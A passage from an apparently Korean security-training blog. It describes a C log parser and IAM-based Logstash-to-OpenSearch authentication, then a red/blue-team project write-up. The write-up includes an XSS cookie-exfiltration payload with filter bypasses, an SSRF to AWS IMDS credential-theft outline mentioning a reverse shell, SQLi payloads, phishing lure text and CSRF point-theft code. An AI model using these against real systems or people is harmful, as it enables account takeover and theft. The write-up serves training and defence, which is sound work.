} LogEntry;

총 크기: 약 2348 bytes

1000개면 약 2.3 MB

크게 부담 안 된다

파싱 로직

strtok를 사용한 토큰 분리

int parse_log_line(const char *line, LogEntry *entry) {
    char temp_line[MAX_LINE_LENGTH];
    strncpy(temp_line, line, MAX_LINE_LENGTH - 1);
    temp_line[MAX_LINE_LENGTH - 1] = '\0';

    // 개행 문자 제거
    char *newline = strchr(temp_line, '\n');
    if (newline) *newline = '\0';

    // 파이프 기준으로 분리
    char *token = strtok(temp_line, "|");
    if (!token) return 0;

    // 공백 제거
    while (*token == ' ') token++;
    char *end = token + strlen(token) - 1;
    while (end > token && *end == ' ') end--;
    *(end + 1) = '\0';

    strncpy(entry->timestamp, token, MAX_TIMESTAMP_LENGTH - 1);
    // ... 이후 필드들도 동일하게 처리

    return 1;
}

주의할 점

1. strtok는 원본 문자열을 수정한다 → 복사본 만들어서 사용

2. 공백 처리 꼭 해야 한다 → 앞뒤 공백 제거 로직 추가

3. 버퍼 오버플로우 방지 → strncpy 사용하고 null 문자 보장

에러 핸들링

메모리 할당 실패

LogCollection *collection = init_log_collection();
if (!collection) {
    fprintf(stderr, "Error: Failed to initialize log collection\n");
    return 1;
}

파일 열기 실패

FILE *fp = fopen(input_file, "r");
if (!fp) {
    fprintf(stderr, "Error: Cannot open input file '%s'\n", input_file);
    return 1;
}

파싱 실패

if (parse_log_line(line, &entry)) {
    // 성공
    parsed_count++;
} else {
    // 실패
    fprintf(stderr, "Warning: Failed to parse line %d\n", line_number);
    error_count++;
}

에러 나도 프로그램 죽지 않게 만들었다

로그 일부 파싱 실패해도 나머지는 처리한다

사용 방법

빌드

gcc -o log_parser main.c log_parser.c -Wall -O2

컴파일 옵션 설명

처음엔 -O3 썼는데 -O2랑 속도 차이 거의 없더라

실행

./log_parser <입력파일> <출력파일>

예시

./log_parser data/raw_logs/attack.log data/parsed_logs/attack.json

실행 결과

Parsing log file: data/raw_logs/attack.log
  [1] Parsed: 2025-12-12 10:39:15 | SQL_INJECTION | SUCCESS
  [2] Parsed: 2025-12-12 10:40:22 | XSS | FAILURE
  [3] Parsed: 2025-12-12 10:41:33 | COMMAND_INJECTION | SUCCESS
  [4] Parsed: 2025-12-12 10:42:15 | BRUTE_FORCE | FAILURE

Parsing complete:
  Total lines: 4
  Successfully parsed: 4
  Errors: 0

Writing JSON output to: data/parsed_logs/attack.json
Successfully wrote 4 events to JSON file

Log parsing engine completed successfully.

실시간으로 파싱 진행 상황 보여준다

나중에 큰 파일 처리할 때 멈춘 건지 아닌지 알 수 있어서 좋다

성능 테스트

결과

100만 줄도 8초 안에 처리한다

Python 버전은 100만 줄 처리하는 데 약 80초 걸렸다

확장 횟수

초기 capacity: 1000

• 1,000개: 확장 0회
• 10,000개: 확장 4회 (1000 → 2000 → 4000 → 8000 → 16000)
• 100,000개: 확장 7회

realloc 오버헤드가 있긴 한데 전체 시간에서 차지하는 비율은 5% 미만이다

어려웠던 점

1. 메모리 누수 디버깅

처음에 free 제대로 안 해서 메모리 누수 났다

valgrind로 찾아냈다

valgrind --leak-check=full ./log_parser attack.log output.json

문제 코드

// 잘못된 코드
void free_log_collection(LogCollection *collection) {
    free(collection);  // entries 안 free
}

수정 코드

void free_log_collection(LogCollection *collection) {
    if (collection) {
        if (collection->entries) {
            free(collection->entries);  // 추가
        }
        free(collection);
    }
}

valgrind 없었으면 찾기 힘들었을 듯하다

2. strtok의 함정

strtok는 원본 문자열을 수정한다

이거 몰라서 한참 헤맸다

// 문제 상황
char *line = "2025-12-12 | SQL | SUCCESS";
char *token1 = strtok(line, "|");
char *token2 = strtok(line, "|");  // 이미 수정된 line

// 해결책
char temp[MAX_LINE_LENGTH];
strcpy(temp, line);
char *token = strtok(temp, "|");

원본 복사해서 사용해야 한다

3. JSON 특수문자 처리

처음엔 escape 안 했더니 JSON 파싱 실패하더라

// 잘못된 출력
{
  "payload": "' OR "1"="1"
}
// JSON 파서가 여기서 멈춤

// 올바른 출력
{
  "payload": "' OR \"1\"=\"1\""
}

특히 큰따옴표랑 백슬래시 조심해야 한다

Part 2: Logstash → OpenSearch 인증 구조

또 다른 고민: 안전한 인증

C 파서로 JSON 만들었으니 이제 OpenSearch에 넣어야 한다

여기서 새로운 고민이 생겼다

어떻게 안전하게 인증할 것인가?

초기 설계안: 비밀번호 방식

원래 계획

Terraform → 랜덤 비밀번호 생성
    ↓
OpenSearch 프로비저닝 시 비밀번호 설정
    ↓
Secrets Manager에 저장
    ↓
ECS가 Secret ARN 참조해서 Logstash 컨테이너에 전달

이렇게 하면 될 것 같았다

문제 1: Terraform State 문제

상황

resource "random_password" "opensearch_admin" {
  length  = 16
  special = true
}

resource "aws_opensearch_domain" "main" {
  # ...
  advanced_security_options {
    master_user_options {
      master_user_name     = "admin"
      master_user_password = random_password.opensearch_admin.result
    }
  }
}

이렇게 하면 Terraform state에 비밀번호가 평문으로 남는다

State 파일 확인해보니

{
  "resources": [
    {
      "type": "random_password",
      "instances": [
        {
          "attributes": {
            "result": "MyS3cr3tP@ssw0rd"  // 그냥 평문으로 박혀있음
          }
        }
      ]
    }
  ]
}

물론 우리 state는 S3에 있고 외부 접근 불가긴 하다

근데 팀원이면 다 볼 수 있다

이게 Best Practice는 아닌 것 같았다

문제 2: OpenSearch 프로비저닝 시점 문제

ECS는 편하다

resource "aws_ecs_task_definition" "logstash" {
  container_definitions = jsonencode([{
    secrets = [{
      name      = "OPENSEARCH_PASSWORD"
      valueFrom = aws_secretsmanager_secret.opensearch.arn
    }]
  }])
}

ECS가 알아서 Secret ARN 참조해서 컨테이너한테 환경변수로 넘겨준다

근데 OpenSearch는 다르다

OpenSearch는 프로비저닝 할 때 관리자 비밀번호를 미리 설정해야 한다

나중에 바꿀 수는 있는데, 처음 만들 때는 무조건 넣어야 한다

그래서 Terraform이 비밀번호를 알아야 하고

결국 state에 남는다

문제 3: 과한 권한

만약 Logstash 컨테이너가 털리면?

admin 비밀번호가 노출된다

OpenSearch 전체가 위험해진다

Logstash가 실제로 하는 일

• 인덱스에 문서 쓰기
• 필요하면 인덱스 자동 생성

이게 다다

클러스터 설정 바꾸거나 유저 관리 같은 관리자 권한은 전혀 필요 없다

그런데 admin 계정을 준다는 건 과한 권한이다

해결책: IAM 인증

왜 IAM 인증인가?

OpenSearch가 IAM(SigV4) 인증을 공식으로 지원한다

ECS/Fargate 환경에서는 Task Role 기반 인증이 권장 방식이다

장점 비교

IAM 인증 작동 원리

SigV4 (AWS Signature Version 4)

AWS API 요청에 서명을 추가하는 방식이다

1. ECS Task가 Task Role 자격증명 획득
2. Logstash가 OpenSearch에 요청
3. 요청에 IAM 서명 추가 (SigV4)
4. OpenSearch가 IAM으로 검증
5. 인증 성공 시 요청 처리

핵심 개념: Task Role

ECS Task 자체가 신원이 된다

컨테이너 안에 비밀번호 같은 거 안 넣어도 된다

STS 임시 자격증명

Task Role은 임시 자격증명을 사용한다

Access Key ID: ASIAXXX...
Secret Access Key: wJalr...
Session Token: FwoGZXIv...
Expiration: 2025-12-15 12:00:00

보통 12시간마다 자동으로 만료되고 새로 발급된다

비밀번호처럼 평생 유효한 게 아니다

구현: Logstash 설정

기존 방식 (비밀번호)

output {
  elasticsearch {
    hosts => ["https://opensearch-endpoint"]
    index => "attack-logs-%{+yyyy.MM.dd}"

    user => "admin"
    password => "${OPENSEARCH_PASSWORD}"  # 환경변수에서 가져옴

    ssl_verification_mode => "none"
  }
}

이렇게 하면 컨테이너 환경변수에 비밀번호가 있어야 한다

IAM 방식

output {
  elasticsearch {
    hosts => ["https://opensearch-endpoint"]
    index => "${PROJECT_NAME}-siem-%{+yyyy.MM.dd}"

    auth_type => "aws_iam"  # IAM 인증 활성화
    region    => "${AWS_REGION}"

    ssl_verification_mode => "${SSL_VERIFY_MODE:none}"
  }
}

user/password 필드가 아예 없다

auth_type만 aws_iam으로 설정하면 끝이다

환경변수

# 비밀번호 방식 (필요한 것들)
OPENSEARCH_PASSWORD=MyS3cr3tP@ssw0rd

# IAM 방식 (필요한 것들)
AWS_REGION=ap-northeast-2
PROJECT_NAME=2sec-siem

비밀번호 자체가 필요 없다

Terraform 구성

IAM Policy Version이란?

Terraform이나 AWS CLI에서 IAM Policy 작성할 때 보이는 "Version": "2012-10-17" 이거 날짜가 뭔지 궁금했다

이건 Policy 생성 날짜가 아니다

AWS IAM Policy 문법의 버전이다

역사

• 2008-10-17: IAM Policy 처음 나온 버전 (구버전)
• 2012-10-17: 현재 표준 버전 (신버전)

2012년 10월 17일에 새로운 Policy 문법이 나왔고, 지금도 이게 최신 버전이다

그래서 모든 IAM Policy에 "Version": "2012-10-17" 쓴다

ECS Task Role 정의

# ECS Task에 할당할 IAM Role
resource "aws_iam_role" "logstash_task" {
  name = "logstash-task-role"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"  # IAM Policy 문법 버전
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Principal = {
        Service = "ecs-tasks.amazonaws.com"
      }
    }]
  })
}

# OpenSearch 쓰기 권한만 부여
resource "aws_iam_role_policy" "logstash_opensearch" {
  name = "opensearch-write-policy"
  role = aws_iam_role.logstash_task.id

  policy = jsonencode({
    Version = "2012-10-17"  # IAM Policy 문법 버전
    Statement = [{
      Effect = "Allow"
      Action = [
        "es:ESHttpPost",   # 문서 쓰기
        "es:ESHttpPut"     # 인덱스 생성
      ]
      Resource = "${aws_opensearch_domain.main.arn}/*"
    }]
  })
}

핵심 포인트

1. ESHttpPost: 문서 쓰기 권한
2. ESHttpPut: 인덱스 생성 권한
3. 읽기 권한 (ESHttpGet) 없음
4. 삭제 권한 (ESHttpDelete) 없음
5. 클러스터 설정 권한 없음

최소 권한 원칙

Logstash가 필요한 것만 정확히 준다

OpenSearch 도메인 설정

resource "aws_opensearch_domain" "main" {
  domain_name = "2sec-siem"

  # IAM 인증 활성화
  advanced_security_options {
    enabled = true
    internal_user_database_enabled = false  # IAM만 사용
  }

  # 접근 정책
  access_policies = jsonencode({
    Version = "2012-10-17"  # IAM Policy 문법 버전
    Statement = [{
      Effect = "Allow"
      Principal = {
        AWS = aws_iam_role.logstash_task.arn
      }
      Action = "es:*"
      Resource = "${aws_opensearch_domain.main.arn}/*"
    }]
  })
}

주요 설정

• internal_user_database_enabled = false: 내부 사용자 DB 비활성화, IAM만 사용
• access_policies: Task Role만 접근 허용

ECS Task Definition

resource "aws_ecs_task_definition" "logstash" {
  family = "logstash"

  # Task Role 할당
  task_role_arn = aws_iam_role.logstash_task.arn

  container_definitions = jsonencode([{
    name  = "logstash"
    image = "docker.elastic.co/logstash/logstash:8.11.0"

    environment = [
      {
        name  = "AWS_REGION"
        value = "ap-northeast-2"
      },
      {
        name  = "PROJECT_NAME"
        value = "2sec-siem"
      }
    ]

    # 비밀번호 관련 환경변수 없음
  }])
}

secrets 섹션 자체가 필요 없다

권한 분리 전략

계정 역할 구분

admin 계정 사용 시나리오

• 대시보드 접근
• 인덱스 템플릿 설정
• 보안 설정 변경
• 비상 상황 대응

logstash_task_role 사용 시나리오

• 로그 수집 (자동)
• 인덱스 자동 생성
• 문서 적재

admin 계정은 사람만 쓴다

서비스는 전부 Task Role 쓴다

보안 이점

시나리오: Logstash 컨테이너 탈취

공격자가 Logstash 컨테이너 접근 성공
    ↓
환경변수 확인
    ↓
비밀번호 없음 (IAM 방식이라)
    ↓
Task Role 자격증명만 있음
    ↓
쓰기 권한만 있어서 데이터 삭제/변조 불가
    ↓
최악의 경우: 쓰레기 로그만 넣을 수 있음

비밀번호 방식이었으면

공격자가 Logstash 컨테이너 접근 성공
    ↓
환경변수에서 admin 비밀번호 획득
    ↓
OpenSearch 전체 접근 가능
    ↓
모든 데이터 삭제/변조 가능
    ↓
클러스터 설정 변경 가능

차이가 명확하다

감사 추적 (CloudTrail)

IAM 방식의 장점

모든 OpenSearch 접근이 CloudTrail에 기록된다

{
  "eventTime": "2025-12-15T10:39:15Z",
  "eventSource": "es.amazonaws.com",
  "eventName": "ESHttpPost",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROAXXXXXXXXX:logstash-task",
    "arn": "arn:aws:sts::123456789012:assumed-role/logstash-task-role/logstash-task"
  },
  "requestParameters": {
    "index": "2sec-siem-2025.12.15",
    "operation": "_doc"
  },
  "responseElements": {
    "result": "created",
    "_id": "abc123"
  },
  "sourceIPAddress": "10.0.1.25"
}

확인 가능한 정보

• 언제: eventTime
• 누가: userIdentity (Task Role)
• 무엇을: eventName (ESHttpPost)
• 어디에: index
• 결과: responseElements

비밀번호 방식은 이런 추적이 제한적이다

실제 동작 확인

1. Task Role 자격증명 확인

컨테이너 안에서

# ECS Task Metadata 확인
curl ${ECS_CONTAINER_METADATA_URI_V4}/task

# IAM Role 자격증명 확인
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

출력 예시

{
  "AccessKeyId": "ASIAXXX...",
  "SecretAccessKey": "wJalr...",
  "Token": "FwoGZXIv...",
  "Expiration": "2025-12-15T22:39:15Z"
}

자동으로 발급된 임시 자격증명이다

2. Logstash 인증 로그

[2025-12-15T10:39:15,123][INFO ][logstash.outputs.elasticsearch] 
Using AWS IAM authentication
Region: ap-northeast-2
Service: es

[2025-12-15T10:39:15,456][INFO ][logstash.outputs.elasticsearch]
Successfully authenticated to OpenSearch
Index: 2sec-siem-2025.12.15

auth_type이 aws_iam이면 이런 로그 나온다

3. OpenSearch 접근 테스트

# Logstash 컨테이너 안에서
curl -X POST "https://opensearch-endpoint/2sec-siem-test/_doc" \
  --aws-sigv4 "aws:amz:ap-northeast-2:es" \
  -H "Content-Type: application/json" \
  -d '{"test": "data"}'

SigV4 서명 자동으로 추가된다

대안: ingest 전용 계정

만약 IAM 방식이 당장 부담된다면?

차선책이 있다

ingest 전용 계정 생성

OpenSearch 내부 사용자 DB에 ingest 전용 계정 만든다

# OpenSearch Dashboards에서
POST /_plugins/_security/api/internalusers/logstash_ingest
{
  "password": "랜덤생성비밀번호",
  "backend_roles": ["ingest_role"]
}

# Role 생성
POST /_plugins/_security/api/roles/ingest_role
{
  "cluster_permissions": ["cluster_composite_ops"],
  "index_permissions": [{
    "index_patterns": ["2sec-siem-*"],
    "allowed_actions": ["create_index", "write"]
  }]
}

Terraform으로 비밀번호 관리

# 비밀번호 생성
resource "random_password" "logstash_ingest" {
  length  = 32
  special = true
}

# Secrets Manager에 저장
resource "aws_secretsmanager_secret" "logstash" {
  name = "logstash-opensearch-password"
}

resource "aws_secretsmanager_secret_version" "logstash" {
  secret_id     = aws_secretsmanager_secret.logstash.id
  secret_string = random_password.logstash_ingest.result
}

# ECS Task Definition
resource "aws_ecs_task_definition" "logstash" {
  container_definitions = jsonencode([{
    secrets = [{
      name      = "OPENSEARCH_PASSWORD"
      valueFrom = aws_secretsmanager_secret.logstash.arn
    }]
  }])
}

장점

• IAM 설정보다 간단하다
• admin 계정보다는 안전하다
• Terraform state 문제는 여전히 있다

단점

• 비밀번호 관리 필요
• 수동 회전 필요
• CloudTrail 감사 제한적
• state에 평문 남음

가능하면 IAM으로 가는 게 맞다

LLM CTI 연동

데이터 파이프라인

C Parser → JSON → Logstash → OpenSearch → LLM CTI

각 단계 설명

LLM 학습 데이터 구성

입력 형식

{
  "timeline": [
    {
      "timestamp": "2025-12-12 10:39:15",
      "attack_type": "SQL_INJECTION",
      "payload": "' OR 1=1--",
      "success": false
    },
    {
      "timestamp": "2025-12-12 10:39:20",
      "attack_type": "SQL_INJECTION",
      "payload": "' UNION SELECT NULL--",
      "success": false
    },
    {
      "timestamp": "2025-12-12 10:39:25",
      "attack_type": "SQL_INJECTION",
      "payload": "' AND SLEEP(3)--",
      "success": true
    }
  ]
}

기대 출력

{
  "attack_stage": "reconnaissance → exploitation",
  "risk_level": "high",
  "recommendation": "Block source IP and patch SQL vulnerability"
}

LLM 학습 전략

1단계: RAG 기반 분석

과거 공격 패턴 벡터 DB에 저장

유사한 공격 발생 시 참조

2단계: 로그 누적

공격 성공/실패 케이스 수집

패턴 분석을 위한 데이터셋 확보

3단계: LoRA Fine-tuning

SIEM 로그 이해력 향상

특정 공격 유형 탐지 정확도 개선

마치며

C 파서 + IAM 인증 = 완벽한 조합

C 파서가 해결한 문제

• 대용량 로그 빠른 처리
• 구조화된 데이터 생성
• LLM 학습 데이터 준비

IAM 인증이 해결한 문제

• Terraform state 평문 저장
• 과한 권한 부여
• 비밀번호 관리 부담
• 감사 추적 부족

두 가지를 합치니까 전체 파이프라인이 깔끔해졌다

배운 점

기술적 측면

1. C 프로그래밍 실전 경험
2. AWS IAM 인증 체계 이해
3. ECS Task Role 활용법
4. Terraform state 보안 이슈

설계적 측면

1. 성능과 보안 둘 다 중요하다
2. 최소 권한 원칙 실천
3. 보안/운영 트레이드오프 균형

향후 계획

C 파서 개선

• 멀티스레드 처리
• 실시간 스트리밍
• Protocol Buffer 지원

LLM CTI 연동

• RAG 기반 공격 패턴 분석
• Fine-tuning으로 탐지 정확도 향상
• 자동 대응 전략 생성

모니터링 강화

• CloudWatch 메트릭 수집
• 이상 탐지 알람 설정
• 대시보드 구축

기술 스택

참고 자료

• OpenSearch IAM Authentication
• Logstash AWS IAM Plugin
• ECS Task IAM Roles
• The C Programming Language
• AWS IAM Policy Version History
• [2SeC SIEM 프로젝트 설계 문서]
• 클로드,지피티

프로젝트 개요

시작 배경

kt Cloud TECH UP 사이버 보안 기초 프로젝트 Anonymous 팀으로, 레드팀과 블루팀 관점을 동시에 고려한 자동화 시스템을 구축했다. 단순히 공격 도구를 만들거나 방어 시스템을 구축하는 것이 아니라, 실제 환경에서 발생할 수 있는 공격-방어의 상호작용을 재현하고자 했다.

팀 구성:

• 황준하 (조장): SSRF → AWS IMDS 자동화 침투, 전체 아키텍처 설계
• 권호영: 방어 시스템 구축 (Fail2Ban, WAF, 모니터링)
• 조영운: XSS 자동화 공격, 크리덴셜 하베스팅
• 허예은: CSRF 포인트 탈취 자동화
• 홍정수: 블루팀 대시보드 및 실시간 탐지

프로젝트 기간: 2025년 11월 ~ 12월

Part 1: 초기 구상과 준비 단계

1.1 워게임을 통한 학습 단계

프로젝트를 시작하기 전, 우리는 DreamHack과 같은 워게임 플랫폼을 통해 기초를 다졌다. 이 단계가 없었다면 실제 공격 시나리오를 구현하는 것이 거의 불가능했을 것이다.

주요 학습 내용:

• XSS 우회 기법 (Unicode escape, URL 인코딩)
• SQL Injection 필터링 우회
• CSRF 토큰 미검증 취약점
• SSRF를 통한 내부망 접근

I LOVE XSS 워게임 돌파 과정:

처음 이 문제를 봤을 때는 간단해 보였다. <script> 태그가 허용되니까 그냥 넣으면 되는 거 아닌가? 하지만 현실은 그렇게 호락호락하지 않았다.

문제 상황:

banlist = ["`","'","alert(","fetch(","replace(","[","]","javascript","@","!","%","location","href"]

봇의 쿠키를 훔쳐야 하는데 location, href가 전부 필터링되어 있었다. 게다가 모든 입력이 소문자로 변환되었다.

첫 시도 - 실패:

<script>location.href="https://request.bin?"+document.cookie</script>

→ 필터에 걸려서 차단됨

두 번째 시도 - Unicode Escape:

<script>\u006Cocation.\u0068ref="https://request.bin?"+document.cookie;</script>

Unicode escape를 사용하니 필터를 우회할 수 있었다. 하지만 여기서 또 문제가 발생했다.

URL 인코딩 문제: 페이로드를 /flag?answer=<script>... 이렇게 보내면, Flask가 URL을 디코딩하는 과정에서 + 기호가 공백으로 변환되어 JavaScript 문법이 깨졌다.

해결책 - 이중 URL 인코딩:

payload = '<script>\\u006Cocation.\\u0068ref="https://bin?"+document.cookie;</script>'
encoded_once = urllib.parse.quote(payload)  # + → %2B
encoded_twice = urllib.parse.quote(encoded_once)  # %2B → %252B

이렇게 두 번 인코딩하니까 Flask가 한 번 디코딩하고, 브라우저가 다시 디코딩해서 정상적으로 작동했다.

배운 점:

• 필터 우회는 단순 기술이 아니라 "어떻게 처리되는지"를 완전히 이해해야 한다
• URL 인코딩/디코딩 메커니즘은 웹 해킹의 핵심이다
• 하나의 우회 기법만으로는 부족하고, 여러 기법을 조합해야 한다

Part 2: 취약점 서버 구축 - 의도적 취약점 설계

2.1 서버 아키텍처 설계

AWS EC2 (Amazon Linux 2) 환경에 LAMP 스택을 구축했다. 하지만 일반적인 웹 서버와 달리, 우리는 의도적으로 취약점을 남겨두었다.

초기 취약점 상태:

✗ SQL Injection 필터 없음
✗ XSS 방어 없음  
✗ CSRF 토큰 미구현
✗ LFI/RFI 경로 제한 없음
✗ /uploads.php에서 PHP 실행 가능
✗ Fail2Ban 없음
✗ WAF 없음
✗ 로그 모니터링 없음

왜 이렇게 많은 취약점을 남겨두었나? 실제 공격-방어의 과정을 보여주기 위해서다. 처음부터 완벽한 방어 시스템을 구축하면, 공격이 어떻게 작동하는지 이해할 수 없다.

2.2 IAM 권한 설계

AWS 환경에서의 권한 관리도 매우 중요했다. 우리는 3단계 권한 체계를 설계했다.

권한 구조:

설계 의도:

• Primary Admin: 전체 인프라 초기 구축 및 긴급 상황 대응
• Admin: 일상적인 운영 및 모니터링 (침해 사고 시에도 IAM 변경 불가하도록)
• Operator: 서버 점검 및 로그 확인만 가능

이렇게 권한을 분리한 이유는 권한 탈취 시나리오를 고려했기 때문이다. 만약 공격자가 Operator 계정을 탈취해도, 인프라를 파괴하거나 권한을 상승시킬 수 없도록 설계했다.

Part 3: 레드팀 공격 시나리오 구현

3.1 SSRF → AWS IMDS 자동화 체인 공격 (황준하)

3.1.1 공격 시나리오 설계

목표: SSRF 취약점을 통해 AWS IMDS(Instance Metadata Service)에 접근하여 IAM Role 자격증명을 탈취하고, 최종적으로 AWS 인프라를 장악한다.

공격 체인:

1. SSRF 취약점 발견 (health.php?url=)
   ↓
2. IMDS 접근 (169.254.169.254/latest/meta-data/)
   ↓  
3. IAM Role Credentials 탈취
   ↓
4. AWS API 호출 (STS, IAM)
   ↓
5. 권한 상승 (Privilege Escalation)
   ↓
6. EC2 User-data 수정으로 백도어 설치

3.1.2 도구 개발 - auto_redteam_ultimate.py

핵심 기능:

class UltimateRedTeam:
    def step1_exploit_ssrf(self):
        """SSRF 취약점 악용"""
        target = f"{self.target}/health.php?url=http://169.254.169.254/latest/meta-data/"
        response = self.session.get(target)

    def step2_steal_aws_credentials(self):
        """IAM 자격증명 탈취"""
        role_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        credentials = self.extract_credentials(role_url)

    def step3_aws_privilege_escalation(self):
        """탈취한 자격증명으로 권한 상승"""
        # IAM 정책 추가, 새 액세스 키 생성

    def step4_establish_persistence(self):
        """AWS SSM을 통한 백도어 설치"""
        # EC2 인스턴스에 reverse shell 설치

예상 피해 범위:

• IAM Role 자격증명 탈취
• EC2 인스턴스 제어권 획득
• S3 버킷 데이터 유출 가능
• Lambda 함수 조작 가능
• 새로운 IAM 사용자 생성 가능
• 시간당 피해 예상 금액: $500~$1,000 (인스턴스 생성, 데이터 전송 비용)

3.1.3 실패 사례와 원인 분석

실패 #1: SSRF 엔드포인트 부재

python3 auto_redteam_ultimate.py 3.35.218.180

[ERROR] SSRF endpoint not found
[INFO] Tested endpoints:
 - /api/health.php (404 Not Found)
 - /api/check.php (404 Not Found)
 - /fetch.php (404 Not Found)

원인: 모니터링 관점에서 넣어둔 health.php 파일이 서버에서 완전히 제거되었다. 백업 파일인 health.php.bak은 발견했으나 실행 불가능했다.

깨달은 점:

• 자동화 도구는 "예상된 경로"만 테스트한다
• 환경이 변하면 도구는 무용지물이 된다
• 수동으로 디렉터리 브루트포싱이나 소스코드 분석이 필요했다

실패 #2: SQL Injection 우회 실패

247개의 페이로드를 테스트했지만 성공률 0%였다.

payloads = [
    "admin' OR '1'='1'-- -",
    "admin' OR 1=1-- -",
    "' UNION SELECT NULL,NULL,NULL-- -",
    # ... (247개)
]

# 결과: ModSecurity blocks: 247 (100%)

원인: ModSecurity WAF + OWASP CRS v3.3이 모든 SQL Injection 패턴을 차단했다.

시도한 우회 기법:

• URL 인코딩
• Unicode escape
• 대소문자 변형
• 주석 기호 변경
• 공백 대체 (/**/, %09, %0a)

→ 전부 실패

왜 실패했나?

ModSecurity는 10년 이상의 공격 패턴을 학습했다. 자동화 도구의 페이로드는 "이미 알려진" 것들이다. 새로운 Zero-day 우회 기법을 자동으로 생성할 수 없다는 것이 자동화의 근본적 한계다.

통계:

┌──────────────────────────────────────┐
│ 자동화 도구 침투 테스트 결과 │
├──────────────────────────────────────┤
│ 총 시도한 공격 벡터: 450+ │
│ 성공한 공격: 0 │
│ ModSecurity 차단: 247 (100%) │
│ 404 Not Found: 50+ │
│ 403 Forbidden: 30+ │
│ │
│ 전체 성공률: 0% │
└──────────────────────────────────────┘

배운 교훈:

자동화 도구는 속도와 재현성에서는 뛰어나지만, 창의성과 적응력이 없다.

사람은 이렇게 접근한다:

1. SQL Injection 실패
2. 백업 파일 찾기 → health.php.bak 발견
3. 소스코드 분석 → 개발자 패턴 파악
4. GitHub 검색 → .env 파일 발견
5. AWS 자격증명 획득
6. 피싱 이메일 발송 → 관리자 계정 탈취
7. SSH 접속 → 서버 장악

→ 소요 시간: 2일, 결과: 성공

자동화 도구:

1. SQL Injection 시도 (247개)
2. 전부 실패
3. SSRF 스캔
4. 없음
5. 종료

→ 소요 시간: 5분, 결과: 실패

3.2 XSS 자동화 및 크리덴셜 하베스팅 (조영운)

3.2.1 공격 시나리오 설계

1단계: XSS 자동화 공격

• 12가지 XSS 공격 모듈 개발
• WAF 우회 기법 (HTML Entity, URL, Unicode, Base64, Hex 인코딩)
• Reflected, Stored, DOM-based, Blind XSS 지원

2단계: 크리덴셜 하베스팅

• 피싱 페이지 구축
• 소셜 엔지니어링 기법 적용
• 실시간 모니터링 시스템 구축

3.2.2 도구 개발 - xss_tool3_edit.py

인터랙티브 메뉴 시스템:

[1] Basic XSS Test - 기본 스크립트 삽입
[2] GET Parameter Scan - GET 파라미터 XSS
[3] File.php Exploitation - LFI 취약점
[4] WAF Detection - 차단 패턴 분석
[5] Advanced Encoding Bypass - 인코딩 우회
[6] Cookie Stealer - 쿠키 탈취
[7] DOM XSS Finder - DOM 기반 XSS
[8] CSRF PoC Generator - CSRF 공격 페이지
[9] Custom Payload - 사용자 페이로드
[10] Reflected XSS Scanner - Reflected XSS
[11] Blind XSS Payload - Blind XSS 비콘
[12] Generate Report - 공격 보고서 생성

WAF 우회 전략:

encodings = {
    'HTML Entity': 'alert(1)',
    'URL Encode': '%61%6c%65%72%74%28%31%29',
    'Unicode': '\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029',
    'Base64': 'YWxlcnQoMSk=',
    'Hex': '0x616c6572742831290'
}

3.2.3 피싱 페이지 구축

소셜 엔지니어링 전략:

<strong>[긴급] 보안 업데이트 안내</strong><br>
최근 해킹 시도가 감지되어 모든 회원님께 안내드립니다.<br>
보안 강화를 위해 반드시 재인증을 진행해주세요.<br>
48시간 내 미인증시 계정이 일시 정지될 수 있습니다.<br>

심리 공략 포인트:

• 긴박감: "48시간 내", "긴급"
• 손실 회피: "계정 정지"
• 권위: "[긴급] 보안 업데이트"

실시간 모니터링 - monitor.py:

def monitor(self):
    while True:
        new_creds = self.read_new_credentials()
        if new_creds:
            for cred in new_creds:
                self.display_credential(cred)
                # macOS 알림음 재생
        time.sleep(2)

3.2.4 성공 사례

크리덴셜 탈취 성공:

[!] NEW CREDENTIAL CAPTURED!
============================================================
Timestamp: 2025-11-25 08:24:48
Page: secure_login.php
Username: bob
Password: bobby123
IP Address: ::1
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0)
============================================================

피해 범위:

• 사용자 ID/PW 탈취
• IP 주소 및 User-Agent 수집
• 계정 접근 가능
• 개인정보 (이름, 이메일, 전화번호) 수집 가능
• 타 서비스 Credential Stuffing 공격 가능

통계:

• 피싱 링크 클릭률: 약 30%
• 로그인 시도율: 약 15%
• 크리덴셜 탈취 성공: 2건

3.2.5 실패 사례 - XSS 공격

대상: http://healthmash.net

시도한 페이로드:

- <script>alert(1)</script>
- <img src=x onerror=alert(1)>
- <svg onload=alert(1)>
- " onmouseover="alert(1)" x="

결과: 차단율 100%

인코딩 우회 시도:

패인 분석:

• ModSecurity가 모든 XSS 키워드 차단 (<script, onerror=, onload=)
• IP 기반 자동 차단 (10회 시도 후 1일 차단)
• 스크립트 실행 가능한 모든 구문 필터링

배운 점:

• WAF가 엄격하게 설정된 서버는 자동화 도구로 돌파 불가능
• 새로운 우회 기법을 직접 개발해야 함
• 소셜 엔지니어링이 더 효과적일 수 있음

3.3 CSRF 포인트 탈취 자동화 (허예은)

3.3.1 공격 시나리오 설계

목표: CSRF 취약점을 이용해 사용자의 포인트를 자동으로 탈취한다.

공격 방식:

1. 자동 포인트 탈취: Python 스크립트로 알려진 계정(bob)에서 자동 전송
2. 수동 포인트 탈취: 피싱 게시글을 통해 사용자가 클릭하면 포인트 탈취

3.3.2 도구 개발 - 1124_CSRF_Auto.py

포인트 전송 메커니즘 분석:

실제 테스트로 포인트를 전송하며 요청-응답을 분석했다.

POST /profile.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

receiver_id=13&points=50&send_gift=1&gift_type=coffee&message=test

다양한 공격 벡터:

transfer_methods = [
    {
        'name': 'GET Parameter Attack',
        'type': 'GET',
        'url': f"{base_url}/profile.php?receiver_id={hacker_id}&points=30&send_gift=1"
    },
    {
        'name': 'POST Form Attack',
        'type': 'POST',
        'url': f"{base_url}/profile.php",
        'data': {
            'receiver_id': hacker_id,
            'points': 30,
            'send_gift': '1',
            'gift_type': 'coffee',
            'message': '어 개털렸죠?'
        }
    },
    {
        'name': 'Alternative POST Method',
        'type': 'POST',
        'data': {
            'to_user_id': hacker_id,
            'amount': 25,
            'gift_type': 'flower'
        }
    }
]

